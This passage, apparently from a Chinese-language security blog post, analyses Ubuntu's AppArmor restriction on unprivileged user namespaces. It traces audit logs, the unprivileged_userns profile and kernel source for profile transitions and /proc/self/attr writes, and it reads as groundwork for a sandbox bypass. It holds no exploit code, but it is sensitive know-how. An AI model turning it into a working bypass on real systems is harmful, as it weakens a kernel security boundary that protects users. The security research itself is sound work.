<span class="nv">operation</span><span class="o">=</span><span class="s2">"capable"</span> <span class="nv">class</span><span class="o">=</span><span class="s2">"cap"</span> <span class="nv">profile</span><span class="o">=</span><span class="s2">"unprivileged_userns"</span> <span class="nv">pid</span><span class="o">=</span>29466 <span class="nb">comm</span><span class="o">=</span><span class="s2">"unshare"</span> <span class="nv">capability</span><span class="o">=</span>21 <span class="nv">capname</span><span class="o">=</span><span class="s2">"sys_admin"</span> </code></pre></div></div> <ol> <li>第一個 AppArmor 事件:稽核事件(Audit Event) <ul> <li>這筆事件紀錄了執行相關的細節。</li> <li>內容指出,PID 為 29466 的程式(<code class="language-plaintext highlighter-rouge">unshare</code>)試圖建立一個使用者命名空間(<code class="language-plaintext highlighter-rouge">operation="userns_create"</code>)。</li> <li>該程式當下是以 <code class="language-plaintext highlighter-rouge">unconfined</code> 設定檔執行,代表尚未受到任何限制。</li> <li>在這筆事件之後,AppArmor 將該程式指派到 <code class="language-plaintext highlighter-rouge">unprivileged_userns</code> 這設定檔。</li> </ul> </li> <li>第二個 AppArmor 事件:拒絕事件(Deny Event) <ul> <li>這筆事件表示有一個操作被 AppArmor 阻擋。</li> <li><code class="language-plaintext highlighter-rouge">unprivileged_userns</code> 設定檔限制程式使用 <code class="language-plaintext highlighter-rouge">sys_admin</code> capability。</li> <li>而 <code class="language-plaintext highlighter-rouge">unshare</code> 建立使用者命名空間時需要用到 <code class="language-plaintext highlighter-rouge">sys_admin</code>,因此被 AppArmor 阻擋,最終導致 <strong>“Operation not permitted (-EPERM)”</strong> 錯誤。</li> </ul> </li> </ol> <p>在 Ubuntu 中,所有的 AppArmor 設定檔都放在 <code class="language-plaintext highlighter-rouge">/etc/apparmor.d/</code> 目錄底下:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aaa@aaa:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-al</span> /etc/apparmor.d/ total 528 drwxr-xr-x 9 root root 4096 Feb 17 10:46 <span class="nb">.</span> drwxr-xr-x 141 root root 12288 Feb 16 20:46 .. <span class="nt">-rw-r--r--</span> 1 root root 354 Oct 2 07:24 1password ... <span class="nt">-rw-r--r--</span> 1 root root 699 Oct 2 07:24 unprivileged_userns ... </code></pre></div></div> <p>檔案 <code class="language-plaintext highlighter-rouge">/etc/apparmor.d/unprivileged_userns</code> 定義了 AppArmor 的 <code class="language-plaintext highlighter-rouge">unprivileged_userns</code> 設定檔。以下是該檔案部分內容的說明:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[...] profile unprivileged_userns { audit deny capability, audit deny change_profile, [...] allow mqueue, allow ptrace, allow userns, } </code></pre></div></div> <p>我們在 <code class="language-plaintext highlighter-rouge">dmesg</code> 命令中看到的第二筆事件,正是由 <code class="language-plaintext highlighter-rouge">audit deny capability</code> 規則所產生。這條規則會阻擋所有需要特定 capabilities(例如 <code class="language-plaintext highlighter-rouge">CAP_SYS_ADMIN</code>、<code class="language-plaintext highlighter-rouge">CAP_NET_ADMIN</code> 和 <code class="language-plaintext highlighter-rouge">CAP_CHOWN</code>)的操作,並記錄任何被拒絕的請求。</p> <p>既然我們已經確認在 <code class="language-plaintext highlighter-rouge">unprivileged_userns</code> 設定檔下,建立非特權使用者命名空間是被禁止的,那接下來最關鍵的問題就是: <strong>為什麼原本處於 <code class="language-plaintext highlighter-rouge">unconfined</code> 設定檔的程式,會自動被轉換到 <code class="language-plaintext highlighter-rouge">unprivileged_userns</code>?</strong></p> <p>為了解答這個問題,我們需要深入了解 Ubuntu 是如何使用 AppArmor 來實作沙盒!</p> <h2 id="3-investigating-ubuntu-kernel-patch">3. Investigating Ubuntu Kernel Patch</h2> <h3 id="31-analysis-strategy">3.1. Analysis Strategy</h3> <p>每個 Linux 發行版都會根據自身需求修改 Linux 核心,Ubuntu 當然也不例外。</p> <p>在分析 Ubuntu 的原始碼時,一共會下載兩個檔案:一是 Linux 原始碼的基礎版本(例如 <code class="language-plaintext highlighter-rouge">linux_&lt;ver&gt;.orig.tar.gz</code>),另一個則是 Ubuntu 自行維護的修改差異檔(例如 <code class="language-plaintext highlighter-rouge">linux_&lt;ver&gt;-&lt;x&gt;.&lt;y&gt;.diff.gz</code>,其中 x 是 Ubuntu 的內部維護版本號,y 則通常是次要版本或修補版本)。若要分析 Ubuntu 的客製化行為,通常會搭配這個差異檔來檢查套用後的核心原始碼。</p> <p>但就拿 <code class="language-plaintext highlighter-rouge">linux_6.11.0-18.18.diff</code> 這個檔案來說,與基礎版本的差異超過 26 萬行。我們要從何下手?</p> <p>透過一些經驗法則能大幅縮小要分析的範圍:像這次 AppArmor 的異常行為,只有在建立非特權使用者命名空間時觸發,因此只要分析與該操作有關的程式碼就好;此外,也可以從事件中出現的關鍵字下手,像是搜尋特定字串,就能快速定位到實際負責執行該邏輯的核心程式碼。</p> <h3 id="32-diving-into-the-source">3.2. Diving Into the Source</h3> <p>當使用者建立命名空間時,AppArmor 會觸發 hook 函數 <code class="language-plaintext highlighter-rouge">apparmor_userns_create()</code> [1],這個函數是 AppArmor 為建立命名空間所設計的安全檢查點。接著,<code class="language-plaintext highlighter-rouge">apparmor_userns_create()</code> 會呼叫另一個函數 <code class="language-plaintext highlighter-rouge">aa_profile_ns_perm()</code> [2],負責處理與命名空間權限相關的設定與判斷。</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">struct</span> <span class="n">security_hook_list</span> <span class="n">apparmor_hooks</span><span class="p">[]</span> <span class="n">__ro_after_init</span> <span class="o">=</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="n">LSM_HOOK_INIT</span><span class="p">(</span><span class="n">userns_create</span><span class="p">,</span> <span class="n">apparmor_userns_create</span><span class="p">),</span> <span class="c1">// [1]</span> <span class="c1">// [...]</span> <span class="p">};</span> <span class="k">static</span> <span class="kt">int</span> <span class="nf">apparmor_userns_create</span><span class="p">(</span><span class="k">const</span> <span class="k">struct</span> <span class="n">cred</span> <span class="o">*</span><span class="n">new_cred</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="n">aa_label</span> <span class="o">*</span><span class="n">label</span><span class="p">;</span> <span class="k">struct</span> <span class="n">aa_profile</span> <span class="o">*</span><span class="n">profile</span><span class="p">;</span> <span class="kt">int</span> <span class="n">error</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">label</span> <span class="o">=</span> <span class="n">begin_current_label_crit_section</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="n">aa_unprivileged_userns_restricted</span> <span class="cm">/* default value: 1 */</span> <span class="o">||</span> <span class="n">label_mediates</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="n">AA_CLASS_NS</span><span class="p">))</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="n">new</span> <span class="o">=</span> <span class="n">fn_label_build</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="n">profile</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">,</span> <span class="n">aa_profile_ns_perm</span><span class="p">(</span><span class="n">profile</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ad</span><span class="p">,</span> <span class="c1">// [2]</span> <span class="n">AA_USERNS_CREATE</span><span class="p">));</span> <span class="c1">// [...]</span> <span class="p">}</span> <span class="n">end_current_label_crit_section</span><span class="p">(</span><span class="n">label</span><span class="p">);</span> <span class="k">return</span> <span class="n">error</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>當 <code class="language-plaintext highlighter-rouge">aa_profile_ns_perm()</code> 偵測到目前程式使用的設定檔處於 unconfined 狀態 [3] 且為 <code class="language-plaintext highlighter-rouge">unconfined</code> 設定檔 [4] 時,它會直接指派程式成一個寫死的 <code class="language-plaintext highlighter-rouge">unprivileged_userns</code> 設定檔 [5]。這個設定檔對應的就是 <code class="language-plaintext highlighter-rouge">/etc/apparmor.d/unprivileged_userns</code>,而也正是套用了設定檔,AppArmore 才阻止程式建立非特權使用者命名空間。</p> <p>下方是 <code class="language-plaintext highlighter-rouge">aa_profile_ns_perm()</code> 函數的部分程式碼片段。完整的實作中包含了大量標註了 <strong>“TODO”</strong> 和 <strong>“hardcode”</strong> 的註解,顯示這整套機制目前仍在開發階段,許多行為其實還沒有正式定型。</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">aa_label</span> <span class="o">*</span><span class="nf">aa_profile_ns_perm</span><span class="p">(</span><span class="k">struct</span> <span class="n">aa_profile</span> <span class="o">*</span><span class="n">profile</span><span class="p">,</span> <span class="k">struct</span> <span class="n">apparmor_audit_data</span> <span class="o">*</span><span class="n">ad</span><span class="p">,</span> <span class="n">u32</span> <span class="n">request</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="n">aa_ruleset</span> <span class="o">*</span><span class="n">rules</span> <span class="o">=</span> <span class="n">list_first_entry</span><span class="p">(</span><span class="o">&amp;</span><span class="n">profile</span><span class="o">-&gt;</span><span class="n">rules</span><span class="p">,</span> <span class="n">typeof</span><span class="p">(</span><span class="o">*</span><span class="n">rules</span><span class="p">),</span> <span class="n">list</span><span class="p">);</span> <span class="k">struct</span> <span class="n">aa_label</span> <span class="o">*</span><span class="n">new</span><span class="p">;</span> <span class="k">struct</span> <span class="n">aa_perms</span> <span class="n">perms</span> <span class="o">=</span> <span class="p">{</span> <span class="p">};</span> <span class="n">aa_state_t</span> <span class="n">state</span><span class="p">;</span> <span class="c1">// [...]</span> <span class="n">state</span> <span class="o">=</span> <span class="n">RULE_MEDIATES</span><span class="p">(</span><span class="n">rules</span><span class="p">,</span> <span class="n">ad</span><span class="o">-&gt;</span><span class="n">class</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">state</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">profile_unconfined</span><span class="p">(</span><span class="n">profile</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="c1">// [3]</span> <span class="n">profile</span> <span class="o">==</span> <span class="n">profiles_ns</span><span class="p">(</span><span class="n">profile</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">unconfined</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [4]</span> <span class="c1">// [...]</span> <span class="n">new</span> <span class="o">=</span> <span class="n">aa_label_parse</span><span class="p">(</span><span class="o">&amp;</span><span class="n">profile</span><span class="o">-&gt;</span><span class="n">label</span><span class="p">,</span> <span class="c1">// [5]</span> <span class="s">"unprivileged_userns"</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">,</span> <span class="nb">true</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span> <span class="c1">// [...]</span> <span class="n">ad</span><span class="o">-&gt;</span><span class="n">info</span> <span class="o">=</span> <span class="s">"Userns create - transitioning profile"</span><span class="p">;</span> <span class="n">perms</span><span class="p">.</span><span class="n">audit</span> <span class="o">=</span> <span class="n">request</span><span class="p">;</span> <span class="n">perms</span><span class="p">.</span><span class="n">allow</span> <span class="o">=</span> <span class="n">request</span><span class="p">;</span> <span class="k">goto</span> <span class="n">hard_coded</span><span class="p">;</span> <span class="p">}</span> <span class="cm">/* [...] */</span> <span class="p">}</span> <span class="c1">// [...]</span> <span class="nl">hard_coded:</span> <span class="n">aa_apply_modes_to_perms</span><span class="p">(</span><span class="n">profile</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">perms</span><span class="p">);</span> <span class="c1">// [...]</span> <span class="k">return</span> <span class="n">new</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>要怎麼判斷目前程式所使用的 AppArmor 設定檔呢?直覺上,這類資訊應該會被記錄在 <code class="language-plaintext highlighter-rouge">/proc/self/</code> 底下的某個檔案中。透過分析原始碼,並搭配 <code class="language-plaintext highlighter-rouge">grep</code> 和 <code class="language-plaintext highlighter-rouge">find</code> 等工具搜尋關鍵字後,我們找到了目標位置:<code class="language-plaintext highlighter-rouge">/proc/self/attr</code>。</p> <p>這個目錄用來儲存程式的屬性設定,其中有一個子目錄名為 <code class="language-plaintext highlighter-rouge">apparmor</code>,專門存放與 AppArmor 有關的資訊。</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aaa@aaa:~/<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-al</span> /proc/self/attr total 0 dr-xr-xr-x 2 aaa aaa 0 Feb 17 12:16 <span class="nb">.</span> dr-xr-xr-x 9 aaa aaa 0 Feb 17 12:16 .. dr-xr-xr-x 2 aaa aaa 0 Feb 17 12:16 apparmor <span class="nt">-rw-rw-rw-</span> 1 aaa aaa 0 Feb 17 12:16 current <span class="nt">-rw-rw-rw-</span> 1 aaa aaa 0 Feb 17 12:16 <span class="nb">exec</span> <span class="nt">-rw-rw-rw-</span> 1 aaa aaa 0 Feb 17 12:16 fscreate <span class="nt">-rw-rw-rw-</span> 1 aaa aaa 0 Feb 17 12:16 keycreate <span class="nt">-r--r--r--</span> 1 aaa aaa 0 Feb 17 12:16 prev dr-xr-xr-x 2 aaa aaa 0 Feb 17 12:16 smack <span class="nt">-rw-rw-rw-</span> 1 aaa aaa 0 Feb 17 12:16 sockcreate </code></pre></div></div> <p>在 <code class="language-plaintext highlighter-rouge">/proc/self/attr/apparmor</code> 目錄下的 <code class="language-plaintext highlighter-rouge">current</code> 檔案,用來顯示當前程式所使用的 AppArmor 設定檔。雖然這個檔案具備寫入權限,但實際上要讓修改生效,必須使用特定格式寫入內容,否則系統會忽略這些操作。</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aaa@aaa:~/<span class="nv">$ </span><span class="nb">cat</span> /proc/self/attr/current unconfined aaa@aaa:~/<span class="nv">$ </span><span class="nb">echo </span>AAA <span class="o">&gt;</span> /proc/self/attr/current <span class="nt">-bash</span>: <span class="nb">echo</span>: write error: Invalid argument </code></pre></div></div> <p>透過將這些檔案名稱對應回原始碼,我們可以從檔案操作的定義中,找出處理讀寫請求的函式,進而了解這些檔案實際上是如何被使用的。</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define ATTR(LSMID, NAME, MODE) \ NOD(NAME, (S_IFREG|(MODE)), \ NULL, &amp;proc_pid_attr_operations, \ { .lsmid = LSMID }) </span> <span class="k">static</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">pid_entry</span> <span class="n">smack_attr_dir_stuff</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_SMACK</span><span class="p">,</span> <span class="s">"current"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="p">};</span> <span class="n">LSM_DIR_OPS</span><span class="p">(</span><span class="n">smack</span><span class="p">);</span> <span class="k">static</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">pid_entry</span> <span class="n">apparmor_attr_dir_stuff</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_APPARMOR</span><span class="p">,</span> <span class="s">"current"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_APPARMOR</span><span class="p">,</span> <span class="s">"prev"</span><span class="p">,</span> <span class="mo">0444</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_APPARMOR</span><span class="p">,</span> <span class="s">"exec"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="p">};</span> <span class="n">LSM_DIR_OPS</span><span class="p">(</span><span class="n">apparmor</span><span class="p">);</span> <span class="k">static</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">pid_entry</span> <span class="n">attr_dir_stuff</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_UNDEF</span><span class="p">,</span> <span class="s">"current"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_UNDEF</span><span class="p">,</span> <span class="s">"prev"</span><span class="p">,</span> <span class="mo">0444</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_UNDEF</span><span class="p">,</span> <span class="s">"exec"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_UNDEF</span><span class="p">,</span> <span class="s">"fscreate"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_UNDEF</span><span class="p">,</span> <span class="s">"keycreate"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_UNDEF</span><span class="p">,</span> <span class="s">"sockcreate"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="kt">DIR</span><span class="p">(</span><span class="s">"smack"</span><span class="p">,</span> <span class="mo">0555</span><span class="p">,</span> <span class="n">proc_smack_attr_dir_inode_ops</span><span class="p">,</span> <span class="n">proc_smack_attr_dir_ops</span><span class="p">),</span> <span class="kt">DIR</span><span class="p">(</span><span class="s">"apparmor"</span><span class="p">,</span> <span class="mo">0555</span><span class="p">,</span> <span class="n">proc_apparmor_attr_dir_inode_ops</span><span class="p">,</span> <span class="n">proc_apparmor_attr_dir_ops</span><span class="p">),</span> <span class="p">};</span> </code></pre></div></div> <p>變數 <code class="language-plaintext highlighter-rouge">proc_pid_attr_operations</code> 是這些檔案所使用的檔案操作表,其中寫入行為會由函式 <code class="language-plaintext highlighter-rouge">proc_pid_attr_write()</code> [6] 處理。往下追蹤這個函式的實作,可以看到它會呼叫 LSM 中的 <code class="language-plaintext highlighter-rouge">setprocattr</code> hook,而對應到 AppArmor 的實作就是 <code class="language-plaintext highlighter-rouge">apparmor_setprocattr()</code> [7]。</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">file_operations</span> <span class="n">proc_pid_attr_operations</span> <span class="o">=</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="p">.</span><span class="n">write</span> <span class="o">=</span> <span class="n">proc_pid_attr_write</span><span class="p">,</span> <span class="c1">// [6]</span> <span class="c1">// [...]</span> <span class="p">};</span> <span class="k">static</span> <span class="kt">ssize_t</span> <span class="nf">proc_pid_attr_write</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span> <span class="n">file</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span> <span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">count</span><span class="p">,</span> <span class="n">loff_t</span> <span class="o">*</span><span class="n">ppos</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="n">rv</span> <span class="o">=</span> <span class="n">security_setprocattr</span><span class="p">(</span><span class="n">PROC_I</span><span class="p">(</span><span class="n">inode</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">op</span><span class="p">.</span><span class="n">lsmid</span><span class="p">,</span> <span class="c1">// &lt;------------</span> <span class="n">file</span><span class="o">-&gt;</span><span class="n">f_path</span><span class="p">.</span><span class="n">dentry</span><span class="o">-&gt;</span><span class="n">d_name</span><span class="p">.</span><span class="n">name</span><span class="p">,</span> <span class="n">page</span><span class="p">,</span> <span class="n">count</span><span class="p">);</span> <span class="c1">// [...]</span> <span class="p">}</span> <span class="kt">int</span> <span class="nf">security_setprocattr</span><span class="p">(</span><span class="kt">int</span> <span class="n">lsmid</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">value</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="n">security_hook_list</span> <span class="o">*</span><span class="n">hp</span><span class="p">;</span> <span class="n">hlist_for_each_entry</span><span class="p">(</span><span class="n">hp</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">security_hook_heads</span><span class="p">.</span><span class="n">setprocattr</span><span class="p">,</span> <span class="n">list</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">lsmid</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">lsmid</span> <span class="o">!=</span> <span class="n">hp</span><span class="o">-&gt;</span><span class="n">lsmid</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span> <span class="k">return</span> <span class="n">hp</span><span class="o">-&gt;</span><span class="n">hook</span><span class="p">.</span><span class="n">setprocattr</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span> <span class="c1">// &lt;------------</span> <span class="p">}</span> <span class="c1">// [...]</span> <span class="p">}</span> <span class="k">static</span> <span class="k">struct</span> <span class="n">security_hook_list</span> <span class="n">apparmor_hooks</span><span class="p">[]</span> <span class="n">__ro_after_init</span> <span class="o">=</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="n">LSM_HOOK_INIT</span><span class="p">(</span><span class="n">setprocattr</span><span class="p">,</span> <span class="n">apparmor_setprocattr</span><span class="p">),</span> <span class="c1">// [7]</span> <span class="c1">// [...]</span> <span class="p">};</span> </code></pre></div></div> <p>函式 <code class="language-plaintext highlighter-rouge">apparmor_setprocattr()</code> 首先會將目標屬性的名稱轉換成對應的列舉值 [8],接著再呼叫 <code class="language-plaintext highlighter-rouge">do_setattr()</code> 來實際處理該操作 [9]。</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">apparmor_setprocattr</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">value</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">attr</span> <span class="o">=</span> <span class="n">lsm_name_to_attr</span><span class="p">(</span><span class="n">name</span><span class="p">);</span> <span class="c1">// [8]</span> <span class="k">if</span> <span class="p">(</span><span class="n">attr</span><span class="p">)</span> <span class="k">return</span> <span class="n">do_setattr</span><span class="p">(</span><span class="n">attr</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span> <span class="c1">// [9]</span> <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span> <span class="p">}</span> <span class="n">u64</span> <span class="nf">lsm_name_to_attr</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="s">"current"</span><span class="p">))</span> <span class="k">return</span> <span class="n">LSM_ATTR_CURRENT</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="s">"exec"</span><span class="p">))</span> <span class="k">return</span> <span class="n">LSM_ATTR_EXEC</span><span class="p">;</span> <span class="c1">// [...]</span> <span class="p">}</span> </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">do_setattr()</code> 函式會先是解析寫入的輸入資料,其格式為:<code class="language-plaintext highlighter-rouge">"&lt;操作&gt; &lt;設定檔名稱&gt;"</code>。接著,它會根據被寫入的檔案與操作種類,來決定呼叫 <code class="language-plaintext highlighter-rouge">aa_change_profile()</code> 時所使用的參數,以執行對應的設定檔切換或操作。</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">do_setattr</span><span class="p">(</span><span class="n">u64</span> <span class="n">attr</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">value</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="k">if</span> <span class="p">(</span><span class="n">attr</span> <span class="o">==</span> <span class="n">LSM_ATTR_CURRENT</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">"changeprofile"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">error</span> <span class="o">=</span> <span class="n">aa_change_profile</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">AA_CHANGE_NOFLAGS</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">"permprofile"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">error</span> <span class="o">=</span> <span class="n">aa_change_profile</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">AA_CHANGE_TEST</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">"stack"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">error</span> <span class="o">=</span> <span class="n">aa_change_profile</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">AA_CHANGE_STACK</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="k">goto</span> <span class="n">fail</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">attr</span> <span class="o">==</span> <span class="n">LSM_ATTR_EXEC</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">"exec"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="n">error</span> <span class="o">=</span> <span class="n">aa_change_profile</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">AA_CHANGE_ONEXEC</span><span class="p">);</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">"stack"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="n">error</span> <span class="o">=</span> <span class="n">aa_change_profile</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="p">(</span><span class="n">AA_CHANGE_ONEXEC</span> <span class="o">|</span> <span class="n">AA_CHANGE_STACK</span><span class="p">));</span> <span class="k">else</span> <span class="k">goto</span> <span class="n">fail</span><span class="p">;</span> <span class="p">}</span> <span class="c1">// [...]</span> <span class="p">}</span> </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">aa_change_profile()</code> 會根據不同的 flag 來決定如何套用指定的設定檔。首先,它會根據使用者輸入的設定檔名稱,找出對應的設定檔物件 [10],然後根據 flag 的內容執行不同的更新邏輯。若包含 <code class="language-plaintext highlighter-rouge">AA_CHANGE_STACK</code> flag,AppArmor 會將新的設定疊加在現有設定檔之上。若是 <code class="language-plaintext highlighter-rouge">AA_CHANGE_TEST</code> flag,則代表這次操作僅用於測試,並不會真正套用設定檔。</p> <p>如果既沒有設定 <code class="language-plaintext highlighter-rouge">AA_CHANGE_STACK</code>,也沒有設定 <code class="language-plaintext highlighter-rouge">AA_CHANGE_TEST</code>,<code class="language-plaintext highlighter-rouge">aa_change_profile()</code> 會使用剛剛取得的設定檔建立一個新的 AppArmor 標籤(label)物件 [11],然後透過 <code class="language-plaintext highlighter-rouge">aa_replace_current_label()</code> [12] 或 <code class="language-plaintext highlighter-rouge">aa_set_current_onexec()</code> [13] 將這個新標籤套用到目前的程式上。</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">aa_change_profile</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">fqname</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="n">aa_label</span> <span class="o">*</span><span class="n">label</span><span class="p">,</span> <span class="o">*</span><span class="n">new</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">*</span><span class="n">target</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="c1">// [...]</span> <span class="n">target</span> <span class="o">=</span> <span class="n">aa_label_parse</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="n">fqname</span> <span class="cm">/* profile name */</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">,</span> <span class="nb">true</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span> <span class="c1">// [10]</span> <span class="c1">// [...]</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">stack</span><span class="p">)</span> <span class="p">{</span> <span class="n">new</span> <span class="o">=</span> <span class="n">fn_label_build_in_ns</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> 